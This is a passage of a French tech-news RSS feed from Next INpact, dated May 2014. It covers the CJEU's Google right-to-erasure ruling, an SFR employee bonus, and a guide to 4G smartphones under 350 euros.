+&lt;p&gt;Cela &amp;eacute;tant, la direction prise par l&amp;rsquo;&amp;eacute;diteur est on ne peut plus claire&amp;nbsp;: la concentration et l&amp;rsquo;uniformisation des offres en ligne. Microsoft fait en sorte que les nouveaut&amp;eacute;s propos&amp;eacute;es soient s&amp;eacute;duisantes en ce qu&amp;rsquo;elles simplifient souvent la gestion d&amp;rsquo;un parc, en cr&amp;eacute;ant un lieu unique et toujours accessible pour effectuer l&amp;rsquo;ensemble des op&amp;eacute;rations. Ceux qui se m&amp;eacute;fient du cloud sont avertis&amp;nbsp;: la direction prise n&amp;rsquo;est pas pr&amp;ecirc;te de changer.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 16:20:00 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87505.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/news/87498-face-a-google-justice-europeenne-reconnait-droit-a-l-effacement.htm</guid><link>http://www.nextinpact.com/news/87498-face-a-google-justice-europeenne-reconnait-droit-a-l-effacement.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>marc@nextinpact.com</author><category>Justice</category><title>Face à Google, la justice européenne reconnaît un droit à l’effacement</title><description>&lt;p class="actu_chapeau"&gt;La Cour de Justice a rendu ce matin un arr&amp;ecirc;t important en mati&amp;egrave;re de traitement de donn&amp;eacute;es personnelles. Il vient pr&amp;eacute;ciser le droit &amp;agrave; l&amp;rsquo;effacement des donn&amp;eacute;es personnelles que&amp;nbsp;peuvent revendiquer les particuliers face &amp;agrave; Google. La Cour ne reconna&amp;icirc;t cependant pas de v&amp;eacute;ritable droit &amp;agrave; l&amp;rsquo;oubli.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&amp;nbsp; &lt;img src="http://static.pcinpact.com/images/bd/news/87689-google-logo-moteur.jpg" alt="" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La CJUE a tranch&amp;eacute; une affaire &lt;a href="http://www.nextinpact.com/news/80800-pas-droit-a-oubli-sur-google-selon-avocat-general-cjue.htm" target="_blank"&gt;soumise par les juridictions espagnoles&lt;/a&gt;. Les faits &amp;eacute;taient presque classiques en ces temps connect&amp;eacute;s&amp;nbsp;: un internaute avait attaqu&amp;eacute; devant la CNIL espagnole, un journal local et Google (Inc. et Espagne). Pourquoi&amp;nbsp;? En saisissant son nom dans le moteur, celui-ci faisait ressurgir deux vieux articles de janvier et mars 98. La Vanguardia avait &amp;agrave; l&amp;rsquo;&amp;eacute;poque diffus&amp;eacute; une publication l&amp;eacute;gale mettant en &amp;eacute;vidence des difficult&amp;eacute;s financi&amp;egrave;res de l&amp;rsquo;int&amp;eacute;ress&amp;eacute;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Seize ans apr&amp;egrave;s les faits, le principal concern&amp;eacute; demandait un s&amp;eacute;rieux coup de balai afin que ces articles et les r&amp;eacute;sultats Google soient nettoy&amp;eacute;s. Selon lui, en effet, les informations le concernant sont p&amp;eacute;rim&amp;eacute;es et donc plus pertinentes. La CNIL locale avait rejet&amp;eacute; cette r&amp;eacute;clamation &amp;agrave; l&amp;rsquo;&amp;eacute;gard du journal, mais accueilli la mesure contre Google qui avait contre-attaqu&amp;eacute; en justice.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La position de Google &amp;eacute;tait simple&amp;nbsp;: les moteurs ne font pas le tri entre les donn&amp;eacute;es &amp;agrave; caract&amp;egrave;re personnel et les autres informations collect&amp;eacute;es par ses robots sur les sites tiers. Il n&amp;rsquo;est pas responsable de ce traitement puisqu&amp;rsquo;il n&amp;rsquo;en a pas connaissance et n&amp;rsquo;exerce aucun contr&amp;ocirc;le sur elles. La position &amp;eacute;tait rejointe par l&amp;rsquo;avocat g&amp;eacute;n&amp;eacute;ral de la CJUE.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;a href="http://curia.europa.eu/juris/document/document.jsf;jsessionid=9ea7d2dc30d52ba7cde0c9fd4783ab2fd151bdf7a60b.e34KaxiLc3qMb40Rch0SaxuNbh90?text=&amp;amp;docid=152065&amp;amp;pageIndex=0&amp;amp;doclang=fr&amp;amp;mode=req&amp;amp;dir=&amp;amp;occ=first&amp;amp;part=1&amp;amp;cid=15895" target="_blank"&gt;L&amp;rsquo;analyse de la CJUE&lt;/a&gt;&amp;nbsp;a &amp;eacute;t&amp;eacute; tout autre&amp;nbsp;: Google m&amp;egrave;ne bien un traitement sur des donn&amp;eacute;es personnelles et en est pleinement responsable.&lt;/p&gt;
+&lt;h3&gt;Google Espagne est responsable du traitement sur les donn&amp;eacute;es personnelles&lt;/h3&gt;
+&lt;p&gt;La Cour note que le moteur &amp;laquo; &lt;em&gt;collecte&lt;/em&gt; &amp;raquo; des donn&amp;eacute;es qu&amp;rsquo;il &amp;laquo; &lt;em&gt;extrait&lt;/em&gt; &amp;raquo;, &amp;laquo;&amp;nbsp;&lt;em&gt;enregistre&amp;nbsp;&lt;/em&gt;&amp;raquo; et &amp;laquo;&amp;nbsp;&lt;em&gt;organise&amp;nbsp;&lt;/em&gt;&amp;raquo; dans son index. Il les &amp;laquo;&amp;nbsp;&lt;em&gt;conserve&amp;nbsp;&lt;/em&gt;&amp;raquo; sur ses serveurs et les &amp;laquo;&amp;nbsp;&lt;em&gt;communique&lt;/em&gt; &amp;raquo; ou &amp;laquo;&amp;nbsp;&lt;em&gt;met &amp;agrave; disposition&lt;/em&gt; &amp;raquo; des utilisateurs. Chacune de ces &amp;eacute;tapes est vis&amp;eacute;e par les textes europ&amp;eacute;ens pour d&amp;eacute;finir le traitement.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Par ailleurs, Google est bien responsable de ce traitement&amp;nbsp;puisque c&amp;rsquo;est lui qui &amp;laquo;&amp;nbsp;&lt;em&gt;d&amp;eacute;termine les finalit&amp;eacute;s et les moyens du traitement de donn&amp;eacute;es &amp;agrave; caract&amp;egrave;re personnel&amp;nbsp;&lt;/em&gt;&amp;raquo; comme le disent encore les textes europ&amp;eacute;ens.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ceci pos&amp;eacute;, Google doit logiquement subir tous les textes qui encadrent ces traitements afin d&amp;rsquo;assurer une protection des personnes concern&amp;eacute;es (vie priv&amp;eacute;e, donn&amp;eacute;es personnelles, etc.). Peu importe qu&amp;rsquo;un &amp;eacute;diteur de site web, comme ici, a lui aussi effectu&amp;eacute; un traitement de donn&amp;eacute;es personnelles.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Enfin, le fait que Google Inc. d&amp;eacute;tienne les clefs de ce moteur, plut&amp;ocirc;t que Google Espagne, est sans cons&amp;eacute;quence dans la mesure o&amp;ugrave; ces op&amp;eacute;rations ont lieu &amp;laquo;&amp;nbsp;&lt;em&gt;dans le cadre des activit&amp;eacute;s d&amp;rsquo;un &amp;eacute;tablissement du responsable de ce traitement sur le territoire d&amp;rsquo;un &amp;Eacute;tat membre.&lt;/em&gt;&amp;nbsp;&amp;raquo;&lt;/p&gt;
+&lt;h3&gt;Droit &amp;agrave; l&amp;rsquo;effacement&amp;nbsp;?&lt;/h3&gt;
+&lt;p&gt;Pour autant, Google peut-il &amp;ecirc;tre astreint &amp;agrave; un droit &amp;agrave; l&amp;rsquo;effacement&amp;nbsp;? Google r&amp;eacute;pond que son moteur n&amp;rsquo;est que le miroir des sites web, et que si un contenu d&amp;eacute;plait, il faut que la pr&amp;eacute;tendue victime s&amp;rsquo;arrange avec l&amp;rsquo;&amp;eacute;diteur du site, premier responsable de la mise en ligne.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Or, la directive 95/46 sur la protection des donn&amp;eacute;es personnelles pr&amp;eacute;voit dans son article 6 que, sous r&amp;eacute;serve de traitements &amp;agrave; des fins historiques, statistiques ou scientifiques, le responsable du traitement doit s&amp;rsquo;assurer que le traitement r&amp;eacute;pond &amp;agrave; un certain niveau de qualit&amp;eacute; :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Les donn&amp;eacute;es &amp;agrave; caract&amp;egrave;re personnel sont trait&amp;eacute;es loyalement et licitement&lt;/li&gt;
+&lt;li&gt;Les donn&amp;eacute;es sont collect&amp;eacute;es pour des finalit&amp;eacute;s d&amp;eacute;termin&amp;eacute;es, explicites et l&amp;eacute;gitimes, et ne [sont pas] trait&amp;eacute;es ult&amp;eacute;rieurement de mani&amp;egrave;re incompatible avec ces finalit&amp;eacute;s&amp;raquo;&lt;/li&gt;
+&lt;li&gt;Les donn&amp;eacute;es sont &amp;laquo; ad&amp;eacute;quates, pertinentes et non excessives au regard des finalit&amp;eacute;s pour lesquelles elles sont collect&amp;eacute;es et pour lesquelles elles sont trait&amp;eacute;es ult&amp;eacute;rieurement &amp;raquo;,&lt;/li&gt;
+&lt;li&gt;Les donn&amp;eacute;es sont &amp;laquo; exactes et, si n&amp;eacute;cessaire, mises &amp;agrave; jour &amp;raquo;&lt;/li&gt;
+&lt;li&gt;Les donn&amp;eacute;es sont &amp;laquo; conserv&amp;eacute;es sous une forme permettant l&amp;rsquo;identification des personnes concern&amp;eacute;es pendant une dur&amp;eacute;e n&amp;rsquo;exc&amp;eacute;dant pas celle n&amp;eacute;cessaire &amp;agrave; la r&amp;eacute;alisation des finalit&amp;eacute;s pour lesquelles elles sont collect&amp;eacute;es ou pour lesquelles elles sont trait&amp;eacute;es ult&amp;eacute;rieurement &amp;raquo;.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Pour justifier d&amp;rsquo;un droit &amp;agrave; l&amp;rsquo;effacement pour motif l&amp;eacute;gitime, il faut donc que les donn&amp;eacute;es trait&amp;eacute;es soient inexactes, inad&amp;eacute;quates, non pertinentes ou excessives au regard des finalit&amp;eacute;s du traitement, ou encore qu&amp;rsquo;elles ne soient pas mises &amp;agrave; jour ou conserv&amp;eacute;e pendant une dur&amp;eacute;e excessive (sauf fins historiques, statistiques ou scientifiques). La Cour pr&amp;eacute;vient que m&amp;ecirc;me un traitement de donn&amp;eacute;es initialement licites peut devenir ainsi incompatible avec le droit europ&amp;eacute;en. &amp;laquo;&amp;nbsp;&lt;em&gt;Tel est notamment le cas lorsqu&amp;rsquo;elles apparaissent inad&amp;eacute;quates, qu&amp;rsquo;elles ne sont pas ou plus pertinentes ou sont excessives au regard de ces finalit&amp;eacute;s et du temps qui s&amp;rsquo;est &amp;eacute;coul&amp;eacute;. &lt;/em&gt;&amp;raquo;&lt;/p&gt;
+&lt;h3&gt;Une ing&amp;eacute;rence dans la vie priv&amp;eacute;e &amp;agrave; g&amp;eacute;om&amp;eacute;trie variable&lt;/h3&gt;
+&lt;p&gt;Quid des moteurs&amp;nbsp;? La CJUE consid&amp;egrave;re que leur activit&amp;eacute; offre &amp;laquo;&amp;nbsp;&lt;em&gt;un aper&amp;ccedil;u structur&amp;eacute; des informations&lt;/em&gt;&amp;nbsp;&amp;raquo; relatives &amp;agrave; une personne, touchant &amp;laquo;&lt;em&gt;&amp;nbsp;potentiellement &amp;agrave; une multitude d&amp;rsquo;aspects de sa vie priv&amp;eacute;e&amp;nbsp;et qui, [sans moteur de recherche], n&amp;rsquo;auraient pas ou seulement que tr&amp;egrave;s difficilement pu &amp;ecirc;tre interconnect&amp;eacute;es&amp;nbsp;&lt;/em&gt;&amp;raquo;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L&amp;rsquo;ing&amp;eacute;rence dans la vie priv&amp;eacute;e s&amp;rsquo;accentue du fait &amp;laquo;&amp;nbsp;&lt;em&gt;du r&amp;ocirc;le important que jouent Internet et les moteurs de recherche dans la soci&amp;eacute;t&amp;eacute; moderne&amp;nbsp;&lt;/em&gt;&amp;raquo;. Classiquement, cette ing&amp;eacute;rence d&amp;eacute;pend de chaque personne. Si pour le commun des mortels l&amp;rsquo;int&amp;eacute;r&amp;ecirc;t du particulier prime sur l&amp;rsquo;int&amp;eacute;r&amp;ecirc;t &amp;eacute;conomique de Google ou celui du public &amp;agrave; trouver une information, tel n&amp;rsquo;est plus le cas pour les personnalit&amp;eacute;s publiques. L&amp;agrave;, &amp;laquo;&amp;nbsp;&lt;em&gt;l&amp;rsquo;ing&amp;eacute;rence dans ses droits fondamentaux est justifi&amp;eacute;e par l&amp;rsquo;int&amp;eacute;r&amp;ecirc;t pr&amp;eacute;pond&amp;eacute;rant dudit public &amp;agrave; avoir, du fait de cette inclusion, acc&amp;egrave;s &amp;agrave; l&amp;rsquo;information en question. &lt;/em&gt;&amp;raquo;&lt;/p&gt;
+&lt;h3&gt;Aux juridictions espagnoles de trancher&lt;/h3&gt;
+&lt;p&gt;Dans cette affaire, l&amp;rsquo;article initial signalait une vente aux ench&amp;egrave;res immobili&amp;egrave;re apr&amp;egrave;s saisie pour dette de s&amp;eacute;curit&amp;eacute; sociale. Des informations qui viennent fouiller la vie priv&amp;eacute;e d&amp;rsquo;une personne, anciennes de 16 ans. La CJUE demandera aussi aux juridictions espagnoles de v&amp;eacute;rifier la qualit&amp;eacute; de ce traitement, et surtout si dans les faits, existe &amp;laquo;&amp;nbsp;&lt;em&gt;des raisons particuli&amp;egrave;res justifiant un int&amp;eacute;r&amp;ecirc;t pr&amp;eacute;pond&amp;eacute;rant du public &amp;agrave; avoir, dans le cadre d&amp;rsquo;une telle recherche, acc&amp;egrave;s &amp;agrave; ces informations&amp;nbsp;&lt;/em&gt;&amp;raquo;. Dans le cas contraire, la personne concern&amp;eacute;e aura bien un droit &amp;agrave; l&amp;rsquo;effacement. Sinon, s&amp;rsquo;il existe un int&amp;eacute;r&amp;ecirc;t du public &amp;agrave; avoir cette information, son droit sera refus&amp;eacute;.&lt;/p&gt;
+&lt;h3&gt;Un droit &amp;agrave; l&amp;rsquo;effacement sur les moteurs, non un droit &amp;agrave; l&amp;rsquo;oubli&lt;/h3&gt;
+&lt;p&gt;La CJUE ne consacre pas ici un v&amp;eacute;ritable droit &amp;agrave; l&amp;rsquo;oubli comme l&amp;rsquo;organise le futur r&amp;egrave;glement europ&amp;eacute;en sur les donn&amp;eacute;es personnelles (voir&amp;nbsp;&lt;a href="http://www.nextinpact.com/news/82536-14h42-droit-a-oubli-entre-protection-citoyens-et-devoir-memoire.htm" target="_blank"&gt;notre &amp;eacute;mission 14h42&lt;/a&gt; et &lt;a href="http://www.nextinpact.com/dossier/676-leurope-au-chevet-des-donnees-personnelles/1.htm" target="_blank"&gt;notre dossier sur le sujet&lt;/a&gt;). Avec l&amp;rsquo;oubli, l&amp;rsquo;information reste, mais elle est enterr&amp;eacute;e (archivage prot&amp;eacute;g&amp;eacute; par un code, par exemple). La Cour, au contraire, aiguise ici le droit &amp;agrave; l&amp;rsquo;effacement pour motif l&amp;eacute;gitime. Mais le fait notable de cet arr&amp;ecirc;t n&amp;rsquo;est pas tant de conna&amp;icirc;tre les droits de chacun face aux moteurs, que d&amp;rsquo;affirmer clairement que Google doit se plier aux contraintes du droit europ&amp;eacute;en.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 16:00:32 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87498.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">http://www.nextinpact.com/breve/87508-vente-a-numericable-prime-2000-bruts-pour-salaries-sfr.htm</guid><link>http://www.nextinpact.com/breve/87508-vente-a-numericable-prime-2000-bruts-pour-salaries-sfr.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=news&amp;utm_campaign=pcinpact</link><author>nil@nextinpact.com</author><category>Société</category><title>[Brève] Vente à Numericable : une prime de 2 000 € bruts pour les salariés de SFR</title><description>&lt;p class="actu_chapeau"&gt;Lors d'un message publi&amp;eacute; hier soir sous forme de vid&amp;eacute;o et adress&amp;eacute; &amp;agrave; ses salari&amp;eacute;s,&amp;nbsp;le PDG de SFR a annonc&amp;eacute; qu'une prime de 2 000 euros (bruts) sera vers&amp;eacute;e &amp;agrave; tous les employ&amp;eacute;s de SFR sit&amp;ocirc;t que le rachat par Altice/Numericable sera effectif.&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/141530.png" alt="Argent cash euros morguefile" width="400" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si du c&amp;ocirc;t&amp;eacute; des employ&amp;eacute;s de &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt;, l'ambiance n'est pas vraiment &amp;agrave; la f&amp;ecirc;te, chez &lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt;, une op&amp;eacute;ration s&amp;eacute;duction est en cours. Jean-Yves Charlier, le patron de l'op&amp;eacute;rateur au carr&amp;eacute; rouge, a ainsi indiqu&amp;eacute; selon &lt;a href="http://www.lesechos.fr/entreprises-secteurs/tech-medias/actu/0203493714232-fusion-numericable-les-employes-de-sfr-recevront-2-000-euros-de-prime-670521.php" target="_blank"&gt;l'AFP&lt;/a&gt;&amp;nbsp;qu'un cadeau sera tr&amp;egrave;s bient&amp;ocirc;t offert &amp;agrave; tous les employ&amp;eacute;s du groupe : &amp;laquo; &lt;em&gt;Je me r&amp;eacute;jouis de vous annoncer qu&amp;rsquo;une prime de 2 000 euros bruts, qui devrait prendre la forme d&amp;rsquo;un suppl&amp;eacute;ment d&amp;rsquo;int&amp;eacute;ressement et de participation, sera attribu&amp;eacute;e &amp;agrave; chaque collaborateur d&amp;egrave;s lors que le "signing" interviendra, avant fin juin&lt;/em&gt; &amp;raquo; a ainsi d&amp;eacute;clar&amp;eacute; le patron d'origine belge.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Selon ce dernier, il est normal que les&amp;nbsp;employ&amp;eacute;s profitent eux aussi du jackpot r&amp;eacute;colt&amp;eacute; par Vivendi&amp;nbsp;suite &amp;agrave; la vente de &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt;. 2 000 euros bruts ne sont&amp;nbsp;toutefois une goutte d'eau. En effet, l'op&amp;eacute;rateur&amp;nbsp;comptait au 31 d&amp;eacute;cembre dernier 9435 collaborateurs en France. Ces 2 000 euros bruts par salari&amp;eacute; repr&amp;eacute;sentent donc moins de 19 millions d'euros. Une broutille quand on sait que la&amp;nbsp;guerre entre Altice et Bouygues a relev&amp;eacute; l'offre initiale de plusieurs milliards d'euros.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Jean-Yves Charlier a tout de m&amp;ecirc;me tenu &amp;agrave; rappeler qu'outre cette prime, les emplois chez &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt; ne seront pas menac&amp;eacute;s, tout du moins d'ici mi-2017. La vente n'aura en effet aucune cons&amp;eacute;quence, &amp;laquo; &lt;em&gt;ni sur le statut collectif en vigueur (...) ni sur l&amp;rsquo;emploi pendant une dur&amp;eacute;e de 36 mois pour les collaborateurs&lt;/em&gt; &amp;raquo;, ceci &amp;agrave; compter du 1er juillet 2014 au plus tard donc.&lt;/p&gt;</description><pubDate>Tue, 13 May 2014 15:52:03 Z</pubDate><enclosure type="image/jpeg" url="http://static.pcinpact.com/images/bd/dedicated/87508.jpg" length="6400"></enclosure></item><item><guid isPermaLink="false">731</guid><link>http://www.nextinpact.com/dossier/731-choisir-son-smartphone-4g-a-moins-de-350-%E2%82%AC/1.htm?utm_source=PCi_RSS_Feed&amp;utm_medium=tests&amp;utm_campaign=pcinpact</link><author>damien_l@pcinpact.com</author><title>Choisir son smartphone 4G à moins de 350 euros</title><description>&lt;p&gt;Avec l'arriv&amp;eacute;e de la &lt;span data-affiliable="true" data-affkey="4G"&gt;4G&lt;/span&gt; en France dans des forfaits bien plus accessibles, certains d'entre vous sont certainement tent&amp;eacute;s de changer de mobile. Il est en effet tentant de pouvoir profiter de cette technologie&amp;nbsp;permettant d'obtenir des d&amp;eacute;bits allant jusqu'&amp;agrave; 150 Mb/s en t&amp;eacute;l&amp;eacute;chargement et 50 Mb/s en upload. Attention tout de m&amp;ecirc;me&lt;a href="http://www.pcinpact.com/dossier/729-forfaits-4g-les-cles-pour-choisir-son-offre-les-pieges-a-eviter/1.htm" target="_blank"&gt; &amp;agrave; bien &amp;eacute;viter les pi&amp;egrave;ges&lt;/a&gt; au moment du choix de votre forfait. Quoi qu'il en soit, tous les constructeurs ou presque proposent d&amp;eacute;sormais de tels mod&amp;egrave;les dans leurs gammes et &amp;agrave; quasiment tous les prix. Mais devez-vous craquer sur un smartphone pas cher ? Comment le choisir ?&amp;nbsp;On fait le point.&lt;/p&gt;
+&lt;h3&gt;Les smartphones &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; sont d&amp;eacute;j&amp;agrave; nombreux, quid de la &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; &amp;agrave; 150 Mb/s ?&lt;/h3&gt;
+&lt;p&gt;Car les smartphones permettant d'exploiter les diff&amp;eacute;rents r&amp;eacute;seaux &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; sont d&amp;eacute;j&amp;agrave; tr&amp;egrave;s nombreux, que ce soit chez les revendeurs ou chez les op&amp;eacute;rateurs.&amp;nbsp;En effet, s'ils n'&amp;eacute;taient qu'une poign&amp;eacute;e en novembre 2012 lors du coup d'envoi donn&amp;eacute; par &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt;,&amp;nbsp;l'ann&amp;eacute;e 2013 a r&amp;eacute;ellement chang&amp;eacute;&amp;nbsp;le paysage des mobiles &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il faut dire que si le d&amp;eacute;marrage a &amp;eacute;t&amp;eacute; long en France, ce n'&amp;eacute;tait pas le cas dans d'autres pays comme le Japon ou encore les &amp;Eacute;tats-Unis (voir &lt;a href="http://www.pcinpact.com/news/82595-couverture-4g-ou-se-situe-france-par-rapport-aux-autres-pays-globe.htm" target="_blank"&gt;notre analyse&lt;/a&gt;). Mais attention, les mobiles vendus &amp;agrave; l'&amp;eacute;tranger ne sont pas syst&amp;eacute;matiquement compatibles avec les fr&amp;eacute;quences&amp;nbsp;utilis&amp;eacute;es en France. Sachez que la norme &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; se d&amp;eacute;coupe en plusieurs bandes et que chaque t&amp;eacute;l&amp;eacute;phone est capable ou non de les prendre toutes en charge. Acheter son appareil aux &amp;Eacute;tats-Unis en profitant d'un taux de change favorable, risque donc de vous emp&amp;ecirc;cher de pouvoir l'utiliser en France.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/142490.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-142490.png" alt="Archos 45 Helium " width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;La gamme Helium d'Archos est compatible avec la&amp;nbsp;&lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; &amp;agrave; 150 Mb/s et annonc&amp;eacute;e &amp;agrave; partir de 200 euros&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu'il en soit, on trouve d&amp;eacute;j&amp;agrave; de nombreux mobiles estampill&amp;eacute;s &lt;span data-affiliable="false" data-affkey="4G"&gt;4G pour&amp;nbsp;&lt;/span&gt;des tarifs d&amp;eacute;butant aux alentours des 200 euros, mais cela peut grimper jusqu'&amp;agrave; 600 voire plus de 700 euros pour les plus chers. Tous les syst&amp;egrave;mes d'exploitation sont repr&amp;eacute;sent&amp;eacute;s : Android, BlackBerry, iOS ainsi que Windows Phone.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Deux op&amp;eacute;rateurs permettent en th&amp;eacute;orie de b&amp;eacute;n&amp;eacute;ficier d'un r&amp;eacute;seau &amp;agrave; 150 Mb/s : &lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt; et &lt;span data-affiliable="false" data-affkey="Orange"&gt;Orange.&lt;/span&gt;&amp;nbsp;Du c&amp;ocirc;t&amp;eacute; de Bouygues et de&amp;nbsp;&lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt;, leurs bandes de fr&amp;eacute;quences ne leur permettent pas de d&amp;eacute;passer les 110 &amp;agrave; 115 Mb/s. Mais ce d&amp;eacute;bit est avant tout th&amp;eacute;orique car soumis &amp;agrave; de nombreuses contraintes (nombre de personnes sur les antennes, type d'antenne, obstacles, etc.). Parmi les mobiles supportant&amp;nbsp;la &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; &amp;agrave; 150 Mb/s, on retrouve&amp;nbsp;l'Ascend P2 d'Huawei, le&amp;nbsp;&lt;a href="http://www.prixdunet.com/telephone-mobile/asus-new-padfone-a86--829538.html" target="_blank"&gt;New PadFone A86&lt;/a&gt;&amp;nbsp;d'ASUS, du &lt;a href="http://pdn.im/1kX2Ku4" target="_blank"&gt;Galaxy S4 Advanced&lt;/a&gt;&amp;nbsp;de Samsung (une exclusivit&amp;eacute; &lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt;) ou encore le &lt;a href="http://www.prixdunet.com/telephone-mobile/lg-g-flex-32go-argent-841478.html" target="_blank"&gt;G-Flex&lt;/a&gt;&amp;nbsp;de LG, soit que des terminaux plut&amp;ocirc;t haut de gamme. D'autres arrivent, et visent l'entr&amp;eacute;e de gamme comme&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/85174-la-4g-a-150-mbs-des-19999-chez-archos-avec-gamme-helium.htm" target="_blank"&gt;les Helium d'Archos&lt;/a&gt;&amp;nbsp;par exemple. Mais ce n'est que le, d&amp;eacute;but&amp;nbsp;puisque Qualcomm, l'un des fournisseurs de SoC pour smartphone, en a un fait son cheval de bataille pour la seconde partie de l'ann&amp;eacute;e, cela devrait donc bouger dans les mois qui viennent.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour notre s&amp;eacute;lection du jour, qui se veut adapt&amp;eacute;e &amp;agrave; l'&amp;eacute;mergence des nouveaux forfaits &amp;agrave; moins de 30 euros, nous avons d&amp;eacute;cid&amp;eacute; de nous focaliser sur des mod&amp;egrave;les propos&amp;eacute;s &amp;agrave; moins de 350 euros.&lt;/p&gt;
+&lt;h3&gt;BlackBerry Z10 et Q5 : &amp;agrave; partir de 170 euros&lt;/h3&gt;
+&lt;p&gt;Commen&amp;ccedil;ons par les Z10 et Q5 de BlackBerry dont les prix ont fondu comme neige au soleil ces derni&amp;egrave;res semaines... si bien que l'on retrouve le premier &lt;a href="http://pdn.im/1m1jPEy" target="_blank"&gt;&amp;agrave; moins de 170 euros&lt;/a&gt;&amp;nbsp;et le second &lt;a href="http://pdn.im/1c0MFeB" target="_blank"&gt;&amp;agrave; moins de 200 euros chez Sosh&lt;/a&gt; alors qu'il faut compter 260 euros et 325 euros au minimum chez les revendeurs. Notez qu'il faut souscrire &amp;agrave; un forfait sans engagement (&amp;agrave; partir de 4,99 euros) pour acheter le smartphone. Cela pourra donc s'av&amp;eacute;rer int&amp;eacute;ressant.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour ce qui est du Z10, on a droit un mod&amp;egrave;le de 4,2 pouces enti&amp;egrave;rement tactile qui embarque une puce double c&amp;oelig;ur &amp;agrave; 1,5 GHz, 2 Go de m&amp;eacute;moire vive ou encore 16 Go de stockage, extensible via un lecteur de cartes. Il supporte les r&amp;eacute;seaux &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; jusqu'&amp;agrave; 100 Mb/s.&lt;/p&gt;
+&lt;p&gt;[PDN]774308[/PDN]&lt;/p&gt;
+&lt;p&gt;Pour le Q5, l'accent est mis sur la pr&amp;eacute;sence d'un clavier physique, un &amp;eacute;l&amp;eacute;ment vital pour certains. On retrouve aussi un &amp;eacute;cran tactile de 3,1 pouces en 720p. La quantit&amp;eacute; de m&amp;eacute;moire vive est identique au mod&amp;egrave;le pr&amp;eacute;c&amp;eacute;dent, contrairement &amp;agrave; la partie stockage qui est r&amp;eacute;duite de moiti&amp;eacute; (8 Go), mais toujours extensible via un lecteur de cartes microSDHC.&lt;/p&gt;
+&lt;p&gt;[PDN]798636[/PDN]&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Dans les deux cas, c'est&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/85600-blackberry-os-10-2-1-se-deploie-et-apporte-longue-liste-dameliorations.htm" target="_blank"&gt;BB OS 10.2.1&lt;/a&gt;&amp;nbsp;qui anime actuellement les smartphones de la firme&amp;nbsp;canadienne.&lt;/p&gt;
